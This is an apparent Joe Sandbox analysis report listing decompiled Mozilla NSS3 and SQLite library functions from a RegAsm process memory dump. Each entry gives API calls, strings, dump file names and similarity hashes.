Opcode Fuzzy Hash: 5f020c839b3cd148a8f486f4a7314b6f3f6f527f1a39d38ae659126b4dae4c24
Instruction Fuzzy Hash: E9412BB4A04A15DFCB00EF68C48496ABBF0FF49354B028669EC599B714EB30E855CBD5

Function 6C4A6C40 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6C4A6C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C4A6C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C4A6CA3

Part of subcall function 6C58D930: PL_strncpyz.NSS3(?,?,?), ref: 6C58D963

PR_LogPrint.NSS3(?,00000000), ref: 6C4A6CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C4A6CD5

Strings

pMechanism = 0x%p, xrefs: 6C4A6CD0
(CK_INVALID_HANDLE), xrefs: 6C4A6C9C
nXl, xrefs: 6C4A6CF4, 6C4A6D1F
C_DigestInit, xrefs: 6C4A6C61
hSession = 0x%x, xrefs: 6C4A6C7E, 6C4A6C8E

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit$nXl
API String ID: 1003633598-155886761
Opcode ID: 5d48fb7744846e6237ff2d1da7d221fef3e5a09b8516136ba2173923495b6c9c
Instruction ID: 968533d855e1d2745e84ed353f9353bb00503f95ef0a7a808820e2dcbf6f6cbf
Opcode Fuzzy Hash: 5d48fb7744846e6237ff2d1da7d221fef3e5a09b8516136ba2173923495b6c9c
Instruction Fuzzy Hash: 05210930601254EBDB10DF98DD48F9A77B5EB96319F45402AE80997B01DB34AC4AC7DE

Function 6C4BECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C4BDE64), ref: 6C4BED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4BED22

Part of subcall function 6C4CB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C5A18D0,?), ref: 6C4CB095

PL_FreeArenaPool.NSS3(?), ref: 6C4BED4A
PL_FinishArenaPool.NSS3(?), ref: 6C4BED6B
PR_CallOnce.NSS3(6C5D2AA4,6C4D12D0), ref: 6C4BED38

Part of subcall function 6C3F4C70: TlsGetValue.KERNEL32(?,?,?,6C3F3921,6C5D14E4,6C53CC70), ref: 6C3F4C97
Part of subcall function 6C3F4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C3F3921,6C5D14E4,6C53CC70), ref: 6C3F4CB0
Part of subcall function 6C3F4C70: PR_Unlock.NSS3(?,?,?,?,?,6C3F3921,6C5D14E4,6C53CC70), ref: 6C3F4CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C4BED52
PR_CallOnce.NSS3(6C5D2AA4,6C4D12D0), ref: 6C4BED83
PL_FreeArenaPool.NSS3(?), ref: 6C4BED95
PL_FinishArenaPool.NSS3(?), ref: 6C4BED9D

Part of subcall function 6C4D64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C4D127C,00000000,00000000,00000000), ref: 6C4D650E

Strings

security, xrefs: 6C4BED06

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 702465069a302d6b785187ece1a1d88381492bf7c3609bc2c5d1d9b35f99302f
Instruction ID: cc12123f169d1b21b0e0e741964f01e7a9e5db5589837a6bfbec65452a74df62
Opcode Fuzzy Hash: 702465069a302d6b785187ece1a1d88381492bf7c3609bc2c5d1d9b35f99302f
Instruction Fuzzy Hash: 85118B7590020667D700E625AC90FBB727CEF8120DF020868E801B2F40F7B4B50D86EB

Function 6C4E4DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C4E4DCB

Part of subcall function 6C4D0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C4787ED,00000800,6C46EF74,00000000), ref: 6C4D1000
Part of subcall function 6C4D0FF0: PR_NewLock.NSS3(?,00000800,6C46EF74,00000000), ref: 6C4D1016
Part of subcall function 6C4D0FF0: PL_InitArenaPool.NSS3(00000000,security,6C4787ED,00000008,?,00000800,6C46EF74,00000000), ref: 6C4D102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C4E4DE1

Part of subcall function 6C4D10C0: TlsGetValue.KERNEL32(?,6C478802,00000000,00000008,?,6C46EF74,00000000), ref: 6C4D10F3
Part of subcall function 6C4D10C0: EnterCriticalSection.KERNEL32(?,?,6C478802,00000000,00000008,?,6C46EF74,00000000), ref: 6C4D110C
Part of subcall function 6C4D10C0: PL_ArenaAllocate.NSS3(?,?,?,6C478802,00000000,00000008,?,6C46EF74,00000000), ref: 6C4D1141
Part of subcall function 6C4D10C0: PR_Unlock.NSS3(?,?,?,6C478802,00000000,00000008,?,6C46EF74,00000000), ref: 6C4D1182
Part of subcall function 6C4D10C0: TlsGetValue.KERNEL32(?,6C478802,00000000,00000008,?,6C46EF74,00000000), ref: 6C4D119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C4E4DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C4E4E59

Part of subcall function 6C4CFAB0: free.MOZGLUE(?,-00000001,?,?,6C46F673,00000000,00000000), ref: 6C4CFAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C5A300C,00000000), ref: 6C4E4EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C4E4EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C4E4F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C4E521A

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 59f1729dfe0e17cb81884145c6c4aec1845ee575a68e2ac7cdaa57ebf7118773
Instruction ID: 7200ed4900cee7a8e74846b1faff37a26b5a6ccb87e9782ba7ef5fd523b6a65f
Opcode Fuzzy Hash: 59f1729dfe0e17cb81884145c6c4aec1845ee575a68e2ac7cdaa57ebf7118773
Instruction Fuzzy Hash: 10F17D71E01205CBDB04CF98D840FADB7B2BF4835AF264169E915AB781E775E982CB90

Function 6C412E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C412F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C412FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C413005
memcpy.VCRUNTIME140(?,?,?), ref: 6C4130EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C413131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C413178

Strings

%s at line %d of [%.10s], xrefs: 6C413171
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C413022, 6C413156, 6C413162, 6C41318A, 6C413196, 6C4131A2, 6C4131AE, 6C4131BA, 6C4131C6
database corruption, xrefs: 6C41316C

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: a3f07f5b6ecbbaa28719806c8c9184ede37f48051e130f5c7c3ae89d4990c854
Instruction ID: c7d30e0cb2cf7eb595d905bebda3ed1aae99f0febba214f37d17eb6b744dc29f
Opcode Fuzzy Hash: a3f07f5b6ecbbaa28719806c8c9184ede37f48051e130f5c7c3ae89d4990c854
Instruction Fuzzy Hash: 5AB192B0E092199BCB18CF9DC884EFEBBB1BF49314F144429E485B7B45D774A942CBA4

Function 6C462D20 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C462D69

Strings

winUnmapfile1, xrefs: 6C462F55
Xl, xrefs: 6C462DD0
winUnmapfile2, xrefs: 6C462F7F
winSeekFile, xrefs: 6C462E9C
winTruncate1, xrefs: 6C462EBE
@Xl, xrefs: 6C462E24
PXl, xrefs: 6C462E74, 6C462EC5, 6C462F32, 6C462F5C
winTruncate2, xrefs: 6C462EF8

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: __allrem
String ID: @Xl$PXl$winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2$Xl
API String ID: 2933888876-3624889994
Opcode ID: a6552c5c93684acc6b4352eac8ec18c764147572bfc126864bb6c749cdd150ae
Instruction ID: 97c06139c3bc32fb90f5802c877801aede76286e4dfe9e5860c780b6b7afe8c0
Opcode Fuzzy Hash: a6552c5c93684acc6b4352eac8ec18c764147572bfc126864bb6c749cdd150ae
Instruction Fuzzy Hash: 5261A071A00705AFDB14CF65DC94FAA7BB1FB49314F10812CE915ABB80EB31AD06CB95

Function 6C3F2400 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 125COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,bind on a busy prepared statement: [%s],?), ref: 6C3F24EC
sqlite3_log.NSS3(00000015,API called with NULL prepared statement,?,?,?,?,?,6C3F2315), ref: 6C3F254F
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000151C9,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,6C3F2315), ref: 6C3F256C

Strings

%s at line %d of [%.10s], xrefs: 6C3F2566
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C3F24F4, 6C3F2557
misuse, xrefs: 6C3F2561
API called with finalized prepared statement, xrefs: 6C3F2543, 6C3F254D
API called with NULL prepared statement, xrefs: 6C3F253C
bind on a busy prepared statement: [%s], xrefs: 6C3F24E6

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API called with NULL prepared statement$API called with finalized prepared statement$bind on a busy prepared statement: [%s]$misuse
API String ID: 632333372-2222229625
Opcode ID: 9dddc59f8ec3241eb88b8c1dd17a5b70d95b1370bacb4036862e829ea13e6e13
Instruction ID: 6d75c8725bc3abcb5052e6053e74b9c96c44b9bbe6dc1a31320df17a92c3f2dd
Opcode Fuzzy Hash: 9dddc59f8ec3241eb88b8c1dd17a5b70d95b1370bacb4036862e829ea13e6e13
Instruction Fuzzy Hash: BF412371604601CBE7108F5ADC98B6A77B6AF81318F150D2CE8A55FB40D77BE8068F91

Function 6C4CA470 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C4CA4A6

Part of subcall function 6C4D0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C4D08B4

PORT_Alloc_Util.NSS3(?), ref: 6C4CA4EC

Part of subcall function 6C4D0BE0: malloc.MOZGLUE(6C4C8D2D,?,00000000,?), ref: 6C4D0BF8
Part of subcall function 6C4D0BE0: TlsGetValue.KERNEL32(6C4C8D2D,?,00000000,?), ref: 6C4D0C15

memcpy.VCRUNTIME140(-00000006,?,?), ref: 6C4CA527
memcmp.VCRUNTIME140(00000006,?,?), ref: 6C4CA56D
memcmp.VCRUNTIME140(00000006,00000006,00000004), ref: 6C4CA583
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6C4CA596
free.MOZGLUE(?), ref: 6C4CA5A4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C4CA5B6

Strings

^jHl, xrefs: 6C4CA475

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Error$Utilmemcmp$Alloc_FindTag_Valuefreemallocmemcpy
String ID: ^jHl
API String ID: 3906949479-863109381
Opcode ID: f42ad590befe902fcf812116b6517045142f4f5ad03a0e2b670f7c99f3a32777
Instruction ID: 1c16c3234fa89d52e5d2dcd4d9dd2a3100f53a8c31ca678cd75a80551ce1efb0
Opcode Fuzzy Hash: f42ad590befe902fcf812116b6517045142f4f5ad03a0e2b670f7c99f3a32777
Instruction Fuzzy Hash: F541F635B052429FDB00CF59CC40FAABBB1AF80318F15C468D8695BB52E732E919C7A2

Function 6C476DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C477D8F,6C477D8F,?,?), ref: 6C476DC8

Part of subcall function 6C4CFDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C4CFE08
Part of subcall function 6C4CFDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C4CFE1D
Part of subcall function 6C4CFDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C4CFE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C477D8F,?,?), ref: 6C476DD5

Part of subcall function 6C4D10C0: TlsGetValue.KERNEL32(?,6C478802,00000000,00000008,?,6C46EF74,00000000), ref: 6C4D10F3
Part of subcall function 6C4D10C0: EnterCriticalSection.KERNEL32(?,?,6C478802,00000000,00000008,?,6C46EF74,00000000), ref: 6C4D110C
Part of subcall function 6C4D10C0: PL_ArenaAllocate.NSS3(?,?,?,6C478802,00000000,00000008,?,6C46EF74,00000000), ref: 6C4D1141
Part of subcall function 6C4D10C0: PR_Unlock.NSS3(?,?,?,6C478802,00000000,00000008,?,6C46EF74,00000000), ref: 6C4D1182
Part of subcall function 6C4D10C0: TlsGetValue.KERNEL32(?,6C478802,00000000,00000008,?,6C46EF74,00000000), ref: 6C4D119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C598FA0,00000000,?,?,?,?,6C477D8F,?,?), ref: 6C476DF7

Part of subcall function 6C4CB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C5A18D0,?), ref: 6C4CB095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C476E35

Part of subcall function 6C4CFDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C4CFE29
Part of subcall function 6C4CFDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C4CFE3D
Part of subcall function 6C4CFDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C4CFE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C476E4C

Part of subcall function 6C4D10C0: PL_ArenaAllocate.NSS3(?,6C478802,00000000,00000008,?,6C46EF74,00000000), ref: 6C4D116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C598FE0,00000000), ref: 6C476E82

Part of subcall function 6C476AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C47B21D,00000000,00000000,6C47B219,?,6C476BFB,00000000,?,00000000,00000000,?,?,?,6C47B21D), ref: 6C476B01
Part of subcall function 6C476AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C476B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C476F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C476F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C598FE0,00000000), ref: 6C476F6B
PR_SetError.NSS3(FFFFE005,00000000,6C477D8F,?,?), ref: 6C476FE1

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 4c48124bcf43919a323236c3f8ae43798647fcfef99f2ac91427e61daffe9687
Instruction ID: 0fe247ac02f9263485040941d74ddfb011d7347939321039eb5be1848be25b8e
Opcode Fuzzy Hash: 4c48124bcf43919a323236c3f8ae43798647fcfef99f2ac91427e61daffe9687
Instruction Fuzzy Hash: FF716D71E106469BEB10CF65CD40FEABBB5BF95308F154229E808D7B11E770EA94CBA1

Function 6C4BADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C49CDBB,?,6C49D079,00000000,00000001), ref: 6C4BAE10
EnterCriticalSection.KERNEL32(?,?,6C49CDBB,?,6C49D079,00000000,00000001), ref: 6C4BAE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C49D079,00000000,00000001), ref: 6C4BAE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C49CDBB,?,6C49D079,00000000,00000001), ref: 6C4BAE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C49CDBB,?,6C49D079,00000000,00000001), ref: 6C4BAE7F
TlsGetValue.KERNEL32(?,6C49CDBB,?,6C49D079,00000000,00000001), ref: 6C4BAEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C49CDBB,?,6C49D079,00000000,00000001), ref: 6C4BAEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C49CDBB,?,6C49D079,00000000,00000001), ref: 6C4BAEF1
free.MOZGLUE(6C49CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C49CDBB,?), ref: 6C4BAF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C49CDBB,?,6C49D079,00000000,00000001), ref: 6C4BAF30

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 55980e2b6ce546cabeb08cba0a9964858f1cf0bfd8921e9fab2c7f4b5258255c
Instruction ID: 05a5371851abd9097696b3478568f419cec27d16e6b3231ad0e20b5d94c90a5b
Opcode Fuzzy Hash: 55980e2b6ce546cabeb08cba0a9964858f1cf0bfd8921e9fab2c7f4b5258255c
Instruction Fuzzy Hash: 15516CB5A01A01ABDB01DF29D884F5AB7B4BF05319F144668E818ABF11E731F964CBE1

Function 6C494CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C49AB7F,?,00000000,?), ref: 6C494CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C49AB7F,?,00000000,?), ref: 6C494CC8
TlsGetValue.KERNEL32(?,6C49AB7F,?,00000000,?), ref: 6C494CE0
EnterCriticalSection.KERNEL32(?,?,6C49AB7F,?,00000000,?), ref: 6C494CF4
PL_HashTableLookup.NSS3(?,?,?,6C49AB7F,?,00000000,?), ref: 6C494D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C494D10

Part of subcall function 6C51DD70: TlsGetValue.KERNEL32 ref: 6C51DD8C
Part of subcall function 6C51DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C51DDB4

PR_Now.NSS3(?,00000000,?), ref: 6C494D26

Part of subcall function 6C539DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C580A27), ref: 6C539DC6
Part of subcall function 6C539DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C580A27), ref: 6C539DD1
Part of subcall function 6C539DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C539DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C494D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C494DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C494E02

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: ad6743c83d7e718c9af763820db3913bbc4b63f19d478c064bce7fd92d582288
Instruction ID: dbc52544bf2e53cf3879094097ce7b25eaf0618f0e20efed686690dcee077d6e
Opcode Fuzzy Hash: ad6743c83d7e718c9af763820db3913bbc4b63f19d478c064bce7fd92d582288
Instruction Fuzzy Hash: 1E41E7B9A006119BEB01EF28EC44D667BB8BF1525DF055274EC1987B21FB31E914C7E1

Function 6C472E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C472CDA,?,00000000), ref: 6C472E1E

Part of subcall function 6C4CFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C479003,?), ref: 6C4CFD91
Part of subcall function 6C4CFD80: PORT_Alloc_Util.NSS3(A4686C4D,?), ref: 6C4CFDA2
Part of subcall function 6C4CFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C4D,?,?), ref: 6C4CFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C472E33

